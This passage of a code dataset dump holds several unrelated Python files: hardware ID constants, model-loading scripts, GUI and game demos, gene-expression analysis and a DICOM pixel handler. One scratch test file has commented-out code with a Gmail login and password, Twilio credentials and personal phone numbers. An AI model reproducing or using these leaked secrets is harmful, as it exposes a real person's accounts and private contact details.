LAN\nBCM_SHL_ID              = 0x0800        # UART Console\nBCM_URT_ID              = 0x0801        # UART->CONSOLE\nBCM_MSF_ID              = 0x0900        # Media System & Framework\nBCM_AVE_ID              = 0x2000        # AVC Encoder Component\nBCM_VEN_ID              = 0x2001        # Video Encoder Component\nBCM_AVD_ID              = 0x2100        # AVC Decoder Component\nBCM_VDE_ID              = 0x2101        # Video Decoder Component\nBCM_CAM_ID              = 0x2200        # Camera\nBCM_CFW_ID              = 0x2201        # Camera Fmwk\nBCM_CTN_ID              = 0x2202        # Camera Tuners\nBCM_CSN_ID              = 0x2203        # Camera Sensor\nBCM_UCM_ID              = 0x2204        # UNICAM\nBCM_ISP_ID              = 0x2205        # ISP\nBCM_VXS_ID              = 0x2300        # Openvx Server\nBCM_OPF_ID              = 0x2301        # Opticalflow Component\nBCM_LDC_ID              = 0x2400        # LDC Component\nBCM_PV0_ID              = 0x2500        # PixelValve\nBCM_CMP_ID              = 0x2501        # Compositor\nBCM_BTV_ID              = 0x2502        # BT656 Controller\nBCM_DSI_ID              = 0x2503        # DSI Controller\nBCM_AFE_ID              = 0x2504        # AFE Controller\nBCM_MWB_ID              = 0x2505        # Memory Writeback\nBCM_DMS_ID              = 0x2506        # MISC Controller\nBCM_VGC_ID              = 0x2507        # Video & Graphics Composer\nBCM_DIS_ID              = 0x2508        # Display Service\nBCM_VRC_ID              = 0x2509        # Video Renderer Component\nBCM_MFD_ID              = 0x250A        # MPEGFeeder\nBCM_GFD_ID              = 0x2600        # GraphicsFeeder\nBCM_GRC_ID              = 0x2601        # Graphics Renderer Component\nBCM_STC_ID              = 0x2700        # Stitch Component\nBCM_APY_ID              = 0x2800        # Audio play component\nBCM_ARC_ID              = 0x2801        # Audio record component\nBCM_IIS_ID              = 0x2802        # I2S\n\n\n# BCM_CmdType\nBCM_CMD_ID_SHIFT        = 0                                    # Command ID shift value\nBCM_CMD_ID_MASK         = 0xFF << BCM_CMD_ID_SHIFT             # Command ID shift mask\nBCM_CMD_COMP_SHIFT      = 8                                    # Component ID shift value\nBCM_CMD_COMP_MASK       = 0xFFFF << BCM_CMD_COMP_SHIFT         # Component ID shift mask\nBCM_CMD_GROUP_SHIFT     = 24                                   # Group ID shift value\nBCM_CMD_GROUP_MASK      = 0x3F << BCM_CMD_GROUP_SHIFT          # Group ID shift mask\nBCM_CMD_RESPONSE_SHIFT  = 30                                   # Resp bit Shift value\nBCM_CMD_RESPONSE_MASK   = 1 << BCM_CMD_RESPONSE_SHIFT          # Async bit Shift mask\nBCM_CMD_ASYNC_SHIFT     = 31                                   # Async bit Shift value\nBCM_CMD_ASYNC_MASK      = 1 << BCM_CMD_ASYNC_SHIFT             # Async bit Shift mask\nBCM_CMD_MAGIC_CMD       = 0xa5a5a5a5                           # Command magic\nBCM_CMD_MAGIC_RESP      = 0x5a5a5a5a                           # Response magic\n\ndef BCM_ASYNCID(aGrp, aComp, aId):\n    return ((BCM_CMD_ASYNC_MASK) | (((aGrp) << BCM_CMD_GROUP_SHIFT) & BCM_CMD_GROUP_MASK) \\\n                                 | (((aComp) << BCM_CMD_COMP_SHIFT) & BCM_CMD_COMP_MASK)  \\\n                                 | (((aId) << BCM_CMD_ID_SHIFT) & BCM_CMD_ID_MASK))\n\ndef BCM_CMDID(aGrp, aComp, aId):\n    return (((aGrp) << BCM_CMD_GROUP_SHIFT) & BCM_CMD_GROUP_MASK)  \\\n        |  (((aComp) << BCM_CMD_COMP_SHIFT) & BCM_CMD_COMP_MASK)     \\\n        |  (((aId) << BCM_CMD_ID_SHIFT) & BCM_CMD_ID_MASK)","repo_name":"paulkim-excelt/scorpio2","sub_path":"tools/common/one_ui/scripts/rdb/bcm_comp.py","file_name":"bcm_comp.py","file_ext":"py","file_size_in_byte":8037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"39483546262","text":"import argparse\n\nimport numpy as np\nimport tensorflow as tf\n\nimport chiron.chiron_model as chiron_model\nfrom chiron.chiron_model import inference\nfrom chiron.chiron_input import read_data_for_eval\nfrom tensorflow.contrib import predictor\nfrom google.protobuf import text_format\nfrom tensorflow.contrib.saved_model.python.saved_model import reader\nfrom tensorflow.contrib.saved_model.python.saved_model import signature_def_utils\n\ndef input_output_list():\n    x = tf.placeholder(tf.float32, shape=[FLAGS.batch_size, FLAGS.segment_len])\n    seq_length = tf.placeholder(tf.int32, shape=[FLAGS.batch_size])\n    training = tf.placeholder(tf.bool)\n    model_configure = chiron_model.read_config(FLAGS.config_path)\n    logits, _ = inference(x, seq_length, training=training,full_sequence_len = FLAGS.segment_len, configure = model_configure)\n    predict = tf.nn.ctc_greedy_decoder(tf.transpose(logits, perm=[1, 0, 2]), seq_length, merge_repeated=True)\n    input_dict = {'x': x, 'seq_length': seq_length, 'training': training}\n    output_dict = {'decoded_indices': predict[0][0].indices, 'decoded_values': predict[0][0].values,\n                   'neg_sum_logits': predict[1]}\n    return input_dict, output_dict\n\n\n# if __name__=='__main__':\n#parser = argparse.ArgumentParser()\n#parser.add_argument(\"--export_folder\", default=\"/home/heavens/Chiron_project/Chiron/chiron/model/DNA_default/export_BAK/1/\", type=str,\n#                    help=\"Frozen model file to import\")\n#parser.add_argument('-m', '--model', default='../model/crnn3+3_S10_2_re', help=\"model folder\")\n#parser.add_argument('-b', '--batch_size', type=int, default=1100,\n#                    help=\"Batch size for run, bigger batch_size will increase the processing speed but require larger RAM load\")\n#parser.add_argument('-l', '--segment_len', type=int, default=400, help=\"Segment length to be divided into.\")\n#parser.add_argument('-s', '--start', type=int, default=0, help=\"Start index of the signal file.\")\n#parser.add_argument('-j', '--jump', type=int, default=30, help=\"Step size for segment\")\n#parser.add_argument('-t', '--threads', type=int, default=0, help=\"Threads number\")\n#parser.add_argument('--config_path',default = '/home/heavens/Chiron_project/Chiron/chiron/model/DNA_default/model.json')\n#FLAGS = parser.parse_args()\n#with tf.Session() as sess:\n#    meta_def = tf.saved_model.loader.load(sess, [tf.saved_model.tag_constants.SERVING], FLAGS.export_folder)\n#    graph = tf.get_default_graph()\n#    predict_fn = predictor.from_saved_model(FLAGS.export_folder)\n#    input_path = '/home/heavens/Chiron_project/Chiron/chiron/example_data/DNA/output/raw/read1.signal'\n#    eval_data = read_data_for_eval(input_path, FLAGS.start, seg_length=FLAGS.segment_len, step=FLAGS.jump)\n#    batch_x, seq_len, _ = eval_data.next_batch(FLAGS.batch_size, shuffle=False)\n#    batch_x = np.pad(batch_x, ((0, FLAGS.batch_size - len(batch_x)), (0, 0)), mode='constant')\n#    seq_len = np.pad(seq_len, ((0, FLAGS.batch_size - len(seq_len))), mode='constant')\n##    predictions = predict_fn({'signals':batch_x,'seq_len':seq_len})\n#    seq_len = np.reshape(seq_len,(seq_len.shape[0],1))\n#    combined_input = np.concatenate((batch_x,seq_len),axis = 1)\n#    predictions = predict_fn({'inputs':combined_input})\n#    input_dict, output_dict = input_output_list()\n#    feed_dict = {input_dict['x']:batch_x,input_dict['seq_length']:seq_len,input_dict['training']:False}\n##    sess.run(output_dict['decoded_indices'],feed_dict=feed_dict)\n\ndef get_meta_graph_def(saved_model_dir, tags):\n  \"\"\"Gets `MetaGraphDef` from a directory containing a `SavedModel`.\n  Returns the `MetaGraphDef` for the given tag-set and SavedModel directory.\n  Args:\n    saved_model_dir: Directory containing the SavedModel.\n    tags: Comma separated list of tags used to identify the correct\n      `MetaGraphDef`.\n  Raises:\n    ValueError: An error when the given tags cannot be found.\n  Returns:\n    A `MetaGraphDef` corresponding to the given tags.\n  \"\"\"\n  saved_model = reader.read_saved_model(saved_model_dir)\n  set_of_tags = set([tag.strip() for tag in tags.split(',')])\n  for meta_graph_def in saved_model.meta_graphs:\n    if set(meta_graph_def.meta_info_def.tags) == set_of_tags:\n      return meta_graph_def\n  raise ValueError('Could not find MetaGraphDef with tags {}'.format(tags))\n  \nexp_dir = \"/home/heavens/Chiron_project/Chiron/chiron/model/DNA_default/export/1/\"\nmetagraph_def = get_meta_graph_def(exp_dir,'serve')\nsignature_def = signature_def_utils.get_signature_def_by_key(\n        metagraph_def,\n        'predicted_sequences')\noutput_names = {k: v.name for k, v in signature_def.outputs.items()}\nprint(output_names)\npredict_fn = predictor.from_saved_model(exp_dir)\nseq_len = np.asarray([[4]])\ncombined_input = np.concatenate((batch_x,seq_len),axis = 1)\npredictions = predict_fn({'inputs':combined_input})","repo_name":"haotianteng/Chiron","sub_path":"chiron/load_run_test.py","file_name":"load_run_test.py","file_ext":"py","file_size_in_byte":4834,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"3"}
+{"seq_id":"14504655494","text":"#Test send email\n# gmail_user = 'yoonalearning@gmail.com'\n# gmail_password = 'yeuyoona98'\n\n# sent_from = gmail_user\n\n# to = ['yoonachien@gmail.com']\n# subject = 'Warning Message'\n# body = 'Ha Noi University of Science and Technology'\n# message = 'Subject: {}\\n\\n{}'.format(subject, body)\n\n# import smtplib\n\n# server = smtplib.SMTP('smtp.gmail.com', 587)\n\n# server.starttls()\n# server.login(gmail_user, gmail_password)\n# server.sendmail(sent_from, to, message)\n# server.quit()\n\n\n# Test draw point\n# import cv2\n# from threading import Thread\n# image = cv2.imread('/home/yoona/Pictures/84534587_2692473420836014_4507958916096720896_o.jpg')\n# def getPoint(image):\n#   (width, height) = image.shape[:2]\n#   return int(0.7 * width), int(0.2 * height)\n# def showImage(image, sizeImage:tuple, windowName:str):\n#   image_show = image.copy()\n#   image_show = cv2.resize(image_show, sizeImage)\n#   width, height = getPoint(image_show)\n#   cv2.circle(image_show, (width, height), radius=0, color=(0, 0, 255), thickness= 10)\n#   cv2.imshow(windowName, image_show)\n\n\n# image1 = image.copy()\n# image1 = cv2.resize(image1, (640, 480))\n# w1, h1 = getPoint(image1)\n# cv2.circle(image1, (w1, h1), radius=0, color=(0, 0, 255), thickness=9)\n\n# image2 = image.copy()\n# image2 = cv2.resize(image2, (980, 720))\n# w2, h2 = getPoint(image2)\n# cv2.circle(image2, (w2, h2), radius=0, color=(0, 0, 255), thickness=9)\n\n\n# cv2.imshow(\"1\", image1)\n# cv2.imshow('2', image2)\n\n# cv2.waitKey(0)\n\n# print('ok')\n\n\n# Test send SMS\n# from twilio.rest import Client\n\n\n# # Your Account Sid and Auth Token from twilio.com/console\n# # DANGER! This is insecure. See http://twil.io/secure\n# account_sid = 'ACb0f57f89aed94e673c4d2ff094c53ff4'\n# auth_token = '4804e39f1e6519ebd675dd73af2e5b2b'\n# client = Client(account_sid, auth_token)\n\n# message = client.messages \\\n#     .create(\n#          body=\"Join Earth's mightiest heroes. Like Kevin Bacon.\",\n#          messaging_service_sid='MGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',\n#          to='+84812749258'\n#      )\n\n# print(message.sid)\n\n# from twilio.rest import Client\n\n\n# # Your Account Sid and Auth Token from twilio.com/console\n# # DANGER! This is insecure. See http://twil.io/secure\n# account_sid = 'ACb0f57f89aed94e673c4d2ff094c53ff4'\n# auth_token = '4804e39f1e6519ebd675dd73af2e5b2b'\n# client = Client(account_sid, auth_token)\n\n# message = client.messages.create(\n#                               from_='+12057820497',\n#                               body='Le Minh Chien Someone are entering the restricted area',\n#                               to='+84812749258'\n#                           )\n\n# print(message.sid)\n\n\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton,QGridLayout, \\\n    QHBoxLayout, QVBoxLayout, QLabel, QSlider, QStyle, QSizePolicy, QFileDialog, QDialog\nfrom PyQt5.QtGui import QIcon, QPalette, QImage, QPixmap, QMouseEvent\nfrom PyQt5.QtMultimedia import QMediaPlayer, QMediaContent\nfrom PyQt5.QtMultimediaWidgets import QVideoWidget\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import Qt, QUrl, QTimer\nimport sys\nclass Form(QDialog):\n   def __init__(self, parent=None):\n      super(Form, self).__init__(parent)\n\t\t\n      layout = QVBoxLayout()\n      self.b1 = QPushButton(\"Button1\")\n      self.b1.setCheckable(True)\n      # self.b1.toggle()\n      self.b1.clicked.connect(lambda:self.whichbtn(self.b1))\n      self.b1.clicked.connect(self.btnstate)\n      layout.addWidget(self.b1)\n\t\t\n      self.b2 = QPushButton()\n      self.b2.setIcon(QIcon(QPixmap(\"python.gif\")))\n      self.b2.clicked.connect(lambda:self.whichbtn(self.b2))\n      layout.addWidget(self.b2)\n      self.setLayout(layout)\n      self.b3 = QPushButton(\"Disabled\")\n      self.b3.setEnabled(False)\n      layout.addWidget(self.b3)\n\t\t\n      self.b4 = QPushButton(\"&Default\")\n      self.b4.setDefault(True)\n      self.b4.clicked.connect(lambda:self.whichbtn(self.b4))\n      layout.addWidget(self.b4)\n      \n      self.setWindowTitle(\"Button demo\")\n\n   def btnstate(self):\n      if self.b1.isChecked():\n         print (\"button pressed\")\n      else:\n         print (\"button released\")\n\t\t\t\n   def whichbtn(self,b):\n      print (\"clicked button is \"+b.text())\n\ndef main():\n   app = QApplication(sys.argv)\n   ex = Form()\n   ex.show()\n   sys.exit(app.exec_())\n\t\nif __name__ == '__main__':\n   main()","repo_name":"chienbk98/UI-Choose-Features","sub_path":"Test_linh_tinh.py","file_name":"Test_linh_tinh.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17489963694","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\ndata=pd.read_table(\"GSE5583.txt\",header=0,index_col=0)\nprint(\"Previous 5:\\n\",data.head())\nnumber_of_genes=len(data.index)\nprint(\"Gene Number:\",number_of_genes)\n# normalization\ndata2=np.log2(data+0.0001)\nprint(\"Previous 5:\\n\",data2.head())\n# diff P\nfrom scipy import stats\npvalue=[]\nfor i in range(0,number_of_genes):\n    ttest=stats.ttest_ind(data2.iloc[i,0:3],data2.iloc[i,3:6])\n    pvalue.append(ttest[1])\n# draw P values graph\nwt=data2.loc[:,'WT.GSM130365':'WT.GSM130367'].mean(axis=1)\nko=data2.loc[:,'KO.GSM130368':'KO.GSM130370'].mean(axis=1)\nfold=ko-wt\nplt.hist(-np.log(pvalue))\nplt.title(\"Histogram of P-value\")\nplt.show()\n# draw diff analysis graph\ngene_array=np.asarray(pvalue)\nresult=pd.DataFrame({'pvalue':gene_array,'FoldChange':fold})\nresult['log(pvalue)']=-np.log10(result['pvalue'])\n# select standard\n# 1> abs(diff)>1\n# 2> P<0.05\nresult['sig']='normal'\nresult['size']=np.abs(result['FoldChange'])/10\nresult.loc[(result.FoldChange>1)&(result.pvalue<0.05),'sig']='up'\nresult.loc[(result.FoldChange<-1)&(result.pvalue<0.05),'sig']='down'\n# draw volcano graph\nax=sns.scatterplot(x=\"FoldChange\",y=\"log(pvalue)\",hue='sig',hue_order=('down','normal','up'),palette=(\"#377EB8\",\"grey\",\"#E41A1C\"),data=result)\nax.set_ylabel('-log(pvalue)',fontweight='bold')\nax.set_xlabel('FoldChange',fontweight='bold')\nplt.show()\n# draw hotmap\nfold_cutoff=1\npvalue_cutoff=0.05\nfiltered_ids=[]\nfor i in range(0,number_of_genes):\n    if(abs(fold[i])>=fold_cutoff) and (pvalue[i]<=pvalue_cutoff):\n        filtered_ids.append(i)\nfiltered=data2.iloc[filtered_ids,:]\nprint(\"Number of DE genes:\")\nprint(len(filtered.index))\nsns.clustermap(filtered,cmap='RdYlGn_r',standard_scale=0)\nplt.show()\n","repo_name":"CSUBioinformatics1801/Python_Bioinformatics_ZYZ","sub_path":"Exp8/gene_diff.py","file_name":"gene_diff.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"25346800109","text":"import pygame\n\nfrom pygame.locals import (\n    K_UP,\n    K_DOWN,\n    K_LEFT,\n    K_RIGHT,\n    K_ESCAPE,\n    KEYDOWN,\n    QUIT\n)\n\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\n\n\ndef main():\n    pygame.init()\n    screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n\n    # every cycle in a game loop is called a frame.\n\n    running = True\n\n    while running:\n        for event in pygame.event.get():\n\n            if event.type == KEYDOWN:   # any key based event.\n\n                if event.key == K_ESCAPE:\n                    running = False\n\n            elif event.type == QUIT:\n                running = False\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"kevayacht/basic_test_game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22756284221","text":"#-------------------------------------------------------------------------------\r\n# Name:        module1\r\n# Purpose:\r\n#\r\n# Author:      Adolfo Jimenez\r\n#\r\n# Created:     28/05/2020\r\n# Copyright:   (c) Adolfo Jimenez 2020\r\n# Licence:     <your licence>\r\n#-------------------------------------------------------------------------------\r\nimport turtle\r\n\r\ndef create_windows_turtle(Wclr, Wtitle):\r\n    wn = turtle.Screen()\r\n    wn.bgcolor(Wclr)\r\n    wn.title(Wtitle)\r\n    return wn\r\n\r\ndef create_turtles(Tclr, Psize, Tspeed):\r\n    T = turtle.Turtle()\r\n    T.color(Tclr)\r\n    T.pensize(Psize)\r\n    T.speed(Tspeed)\r\n    return T\r\n\r\ndef draw_poly(T, Psize, Psides):\r\n    angle = 360/Psides\r\n    for i in range(Psides):\r\n        T.forward(Psize)\r\n        T.left(angle)\r\n\r\n\r\ndef draw_some_polies(Tx, size, sides, sep, quant):\r\n    for i in range(quant):\r\n        draw_poly(Tx, size, sides)\r\n        Tx.penup()\r\n        Tx.left(-90)\r\n        Tx.forward(sep/2)\r\n        Tx.left(90)\r\n        Tx.forward(-sep/2)\r\n        Tx.pendown()\r\n        size = size + sep\r\n\r\ncreate_windows_turtle('lightgreen', 'test')\r\nTessa = create_turtles('hotpink', 3, 1)\r\ndraw_some_polies(Tessa, 20, 15, 20, 5)\r\n\r\n#\r\n#\r\n#\r\n#\r\n#\r\n","repo_name":"Eadwulf/thinkpython3","sub_path":"chapter_04/07._exercise_N°3.py","file_name":"07._exercise_N°3.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39542379344","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport os\nimport pandas as pd\nimport sys\nimport random\n\nrandom.seed(1)\n\nsys.path.append(os.getcwd())\n\nimport dbm_py.interface as dbm\n\nx = dbm.Matrix(500000, 10)\nx_nd_array = dbm.float_matrix_to_np2darray(x)\ny_nd_array = x_nd_array[:, 0] ** 2 / 2  - \\\n             x_nd_array[:, 3] * 2 * np.exp(x_nd_array[:, 6] / 10) + \\\n             4 * np.cos(x_nd_array[:, 8] / 2) * np.exp(x_nd_array[:, 5] / 2) + \\\n             1.5 * np.random.randn(500000)\ny_nd_array = np.round(np.abs(y_nd_array))\n\ny = dbm.np2darray_to_float_matrix(y_nd_array[:, np.newaxis])\n\nc = dbm.Data_set(x, y, 0.2, 1)\ntrain_x = c.get_train_x()\n\ns = 'dbm_no_bunches_of_learners 30 dbm_no_cores 3 dbm_loss_function p ' \\\n    'dbm_portion_train_sample 0.3 dbm_no_candidate_feature 5 dbm_shrinkage 0.1 ' \\\n    'dbm_random_seed 1 '\nparams = dbm.Params()\nparams.set_params(s)\n# =====================================\n\nauto_model = dbm.AUTO_DBM(params)\nauto_model.train(c)\n\nauto_predict = auto_model.predict(c.get_validate_x())\n\nauto_result = pd.DataFrame(np.concatenate([auto_predict.to_np2darray(), c.get_validate_y().to_np2darray()], 1))\n\nauto_model.save('auto_dbm.txt')\n# =====================================\n\nmodel = dbm.DBM(params)\n\nmodel.train(c)\n\npredict = model.predict(c.get_validate_x())\n\nresult = pd.DataFrame(np.concatenate([predict.to_np2darray(), c.get_validate_y().to_np2darray()], 1))\n\nmodel.save('dbm.txt')\n\npdp = model.pdp(c.get_train_x(), 3)\n\nss = model.ss(c.get_train_x())\n\nre_model = dbm.DBM(dbm.Params())\nre_model.load('dbm.txt')\n\nre_predict = re_model.predict(c.get_validate_x())\n\nre_result = pd.DataFrame(np.concatenate([predict.to_np2darray(),\n                                         re_predict.to_np2darray(),\n                                         c.get_validate_y().to_np2darray()], 1))\n\nre_pdp = re_model.pdp(c.get_train_x(), 3)\n\nre_ss = re_model.ss(c.get_train_x())\n\nre_model.train(c)\n","repo_name":"hanxixuana/DeltaBM","sub_path":"src_test/main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"37554057682","text":"from platform import python_implementation\nfrom sys import byteorder\nimport warnings\n\ntry:\n    import numpy as np\n    HAVE_NP = True\nexcept ImportError:\n    HAVE_NP = False\n\nfrom pydicom.compat import in_py2 as IN_PYTHON2\nfrom pydicom.pixel_data_handlers.util import pixel_dtype\nimport pydicom.uid\n\nHANDLER_NAME = 'Numpy'\n\nDEPENDENCIES = {\n    'numpy': ('http://www.numpy.org/', 'NumPy'),\n}\n\nSUPPORTED_TRANSFER_SYNTAXES = [\n    pydicom.uid.ExplicitVRLittleEndian,\n    pydicom.uid.ImplicitVRLittleEndian,\n    pydicom.uid.DeflatedExplicitVRLittleEndian,\n    pydicom.uid.ExplicitVRBigEndian,\n]\n\n\ndef is_available():\n    \"\"\"Return True if the handler has its dependencies met.\"\"\"\n    return HAVE_NP\n\n\ndef supports_transfer_syntax(transfer_syntax):\n    \"\"\"Return True if the handler supports the `transfer_syntax`.\n\n    Parameters\n    ----------\n    transfer_syntax : UID\n        The Transfer Syntax UID of the Pixel Data that is to be used with\n        the handler.\n    \"\"\"\n    return transfer_syntax in SUPPORTED_TRANSFER_SYNTAXES\n\n\ndef needs_to_convert_to_RGB(ds):\n    \"\"\"Return True if the pixel data should to be converted from YCbCr to RGB.\n\n    This affects JPEG transfer syntaxes.\n    \"\"\"\n    return False\n\n\ndef should_change_PhotometricInterpretation_to_RGB(ds):\n    \"\"\"Return True if the PhotometricInterpretation should be changed to RGB.\n\n    This affects JPEG transfer syntaxes.\n    \"\"\"\n    return False\n\n\ndef get_expected_length(ds, unit='bytes'):\n    \"\"\"Return the expected length (in bytes or pixels) of the pixel data.\n\n    +-----------------------------------+------+-------------+\n    | Element                           | Type | Required or |\n    +-------------+---------------------+      | optional    |\n    | Tag         | Keyword             |      |             |\n    +=============+=====================+======+=============+\n    | (0028,0002) | SamplesPerPixel     | 1    | Required    |\n    +-------------+---------------------+------+-------------+\n    | (0028,0008) | NumberOfFrames      | 1C   | Optional    |\n    +-------------+---------------------+------+-------------+\n    | (0028,0010) | Rows                | 1    | Required    |\n    +-------------+---------------------+------+-------------+\n    | (0028,0011) | Columns             | 1    | Required    |\n    +-------------+---------------------+------+-------------+\n    | (0028,0100) | BitsAllocated       | 1    | Required    |\n    +-------------+---------------------+------+-------------+\n\n    Parameters\n    ----------\n    ds : dataset.Dataset\n        The DICOM dataset containing the Image Pixel module and pixel data.\n    unit : str, optional\n        If 'bytes' then returns the expected length of the Pixel Data in\n        whole bytes and NOT including an odd length trailing NULL padding\n        byte. If 'pixels' then returns the expected length of the Pixel Data\n        in terms of the total number of pixels (default 'bytes').\n\n    Returns\n    -------\n    int\n        The expected length of the pixel data in either whole bytes or pixels,\n        excluding the NULL trailing padding byte for odd length data.\n    \"\"\"\n    length = ds.Rows * ds.Columns * ds.SamplesPerPixel\n    length *= getattr(ds, 'NumberOfFrames', 1)\n\n    if unit == 'pixels':\n        return length\n\n    # Correct for the number of bytes per pixel\n    bits_allocated = ds.BitsAllocated\n    if bits_allocated == 1:\n        # Determine the nearest whole number of bytes needed to contain\n        #   1-bit pixel data. e.g. 10 x 10 1-bit pixels is 100 bits, which\n        #   are packed into 12.5 -> 13 bytes\n        length = length // 8 + (length % 8 > 0)\n    else:\n        length *= bits_allocated // 8\n\n    return length\n\n\ndef pack_bits(arr):\n    \"\"\"Pack a binary numpy ndarray into bytes for use with Pixel Data.\n\n    Should be used in conjunction with (0028,0100) *BitsAllocated* = 1.\n\n    Parameters\n    ----------\n    arr : numpy.ndarray\n        The ndarray containing 1-bit data as ints. The array must only contain\n        integer values of 0 and 1 and must have an 'uint' or 'int' dtype. For\n        the sake of efficiency its recommended that the array length be a\n        multiple of 8 (i.e. that any empty bit-padding to round out the byte\n        has already been added).\n\n    Returns\n    -------\n    bytes\n        The bit packed data.\n\n    Raises\n    ------\n    ValueError\n        If `arr` contains anything other than 0 or 1.\n\n    References\n    ----------\n    DICOM Standard, Part 5, Section 8.1.1 and Annex D\n    \"\"\"\n    if arr.shape == (0,):\n        return bytes()\n\n    # Test array\n    if not np.array_equal(arr, arr.astype(bool)):\n        raise ValueError(\n            \"Only binary arrays (containing ones or zeroes) can be packed.\"\n        )\n\n    if len(arr.shape) > 1:\n        raise ValueError(\"Only 1D arrays are supported.\")\n\n    # The array length must be a multiple of 8, pad the end\n    if arr.shape[0] % 8:\n        arr = np.append(arr, np.zeros(8 - arr.shape[0] % 8))\n\n    # Reshape so each row is 8 bits\n    arr = np.reshape(arr, (-1, 8))\n    arr = np.fliplr(arr)\n    arr = np.packbits(arr.astype('uint8'))\n\n    return arr.tobytes()\n\n\ndef unpack_bits(bytestream):\n    \"\"\"Unpack bit packed pixel data into a numpy ndarray.\n\n    Suitable for use when (0028,0011) *Bits Allocated* is 1.\n\n    Parameters\n    ----------\n    bytestream : bytes\n        The bit packed pixel data.\n\n    Returns\n    -------\n    numpy.ndarray\n        The unpacked pixel data as a 1D array.\n\n    Notes\n    -----\n    The implementation for PyPy is roughly 100 times slower than the\n    standard ``numpy.unpackbits`` method.\n\n    References\n    ----------\n    DICOM Standard, Part 5, Section 8.1.1 and Annex D\n    \"\"\"\n    # Thanks to @sbrodehl (#643)\n    # e.g. b'\\xC0\\x09' -> [192, 9]\n    arr = np.frombuffer(bytestream, dtype='uint8')\n    # -> [1 1 0 0 0 0 0 0 0 0 0 0 1 0 0 1]\n    arr = np.unpackbits(arr)\n    # -> [[1 1 0 0 0 0 0 0],\n    #     [0 0 0 0 1 0 0 1]]\n    arr = np.reshape(arr, (-1, 8))\n    # -> [[0 0 0 0 0 0 1 1],\n    #     [1 0 0 1 0 0 0 0]]\n    arr = np.fliplr(arr)\n    # -> [0 0 0 0 0 0 1 1 1 0 0 1 0 0 0 0]\n    arr = np.ravel(arr)\n\n    return arr\n\n\ndef get_pixeldata(ds, read_only=False):\n    \"\"\"Return an ndarray of the Pixel Data.\n\n    Parameters\n    ----------\n    ds : dataset.Dataset\n        The DICOM dataset containing an Image Pixel module and the Pixel Data\n        to be converted.\n    read_only : bool, optional\n        If False (default) then returns a writeable array that no longer uses\n        the original memory. If True and the value of (0028,0100) *Bits\n        Allocated* > 1 then returns a read-only array that uses the original\n        memory buffer of the pixel data. If *Bits Allocated* = 1 then always\n        returns a writeable array.\n\n    Returns\n    -------\n    np.ndarray\n        The contents of the Pixel Data element (7FE0,0010) as a 1D array.\n\n    Raises\n    ------\n    AttributeError\n        If the dataset is missing a required element.\n    NotImplementedError\n        If the dataset contains pixel data in an unsupported format.\n    ValueError\n        If the actual length of the pixel data doesn't match the expected\n        length.\n    \"\"\"\n    transfer_syntax = ds.file_meta.TransferSyntaxUID\n    # The check of transfer syntax must be first\n    if transfer_syntax not in SUPPORTED_TRANSFER_SYNTAXES:\n        raise NotImplementedError(\n            \"Unable to convert the pixel data as the transfer syntax \"\n            \"is not supported by the numpy pixel data handler.\"\n        )\n\n    # Check required elements\n    required_elements = ['PixelData', 'BitsAllocated', 'Rows', 'Columns',\n                         'PixelRepresentation', 'SamplesPerPixel']\n    missing = [elem for elem in required_elements if elem not in ds]\n    if missing:\n        raise AttributeError(\n            \"Unable to convert the pixel data as the following required \"\n            \"elements are missing from the dataset: \" + \", \".join(missing)\n        )\n\n    # Calculate the expected length of the pixel data (in bytes)\n    #   Note: this does NOT include the trailing null byte for odd length data\n    expected_len = get_expected_length(ds)\n\n    # Check that the actual length of the pixel data is as expected\n    actual_length = len(ds.PixelData)\n    # Correct for the trailing NULL byte padding for odd length data\n    if actual_length != (expected_len + expected_len % 2):\n        raise ValueError(\n            \"The length of the pixel data in the dataset doesn't match the \"\n            \"expected amount ({0} vs. {1} bytes). The dataset may be \"\n            \"corrupted or there may be an issue with the pixel data handler.\"\n            .format(actual_length, expected_len + expected_len % 2)\n        )\n\n    # Unpack the pixel data into a 1D ndarray\n    if ds.BitsAllocated == 1:\n        # Skip any trailing padding bits\n        nr_pixels = get_expected_length(ds, unit='pixels')\n        arr = unpack_bits(ds.PixelData)[:nr_pixels]\n    else:\n        # Skip the trailing padding byte if present\n        arr = np.frombuffer(ds.PixelData[:expected_len],\n                            dtype=pixel_dtype(ds))\n\n    if should_change_PhotometricInterpretation_to_RGB(ds):\n        ds.PhotometricInterpretation = \"RGB\"\n\n    if not read_only and ds.BitsAllocated > 1:\n        return arr.copy()\n\n    return arr\n","repo_name":"Kavinda-Senarathne/LungCancerNoduleProcessing","sub_path":"venv/Lib/site-packages/pydicom/pixel_data_handlers/numpy_handler.py","file_name":"numpy_handler.py","file_ext":"py","file_size_in_byte":9295,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
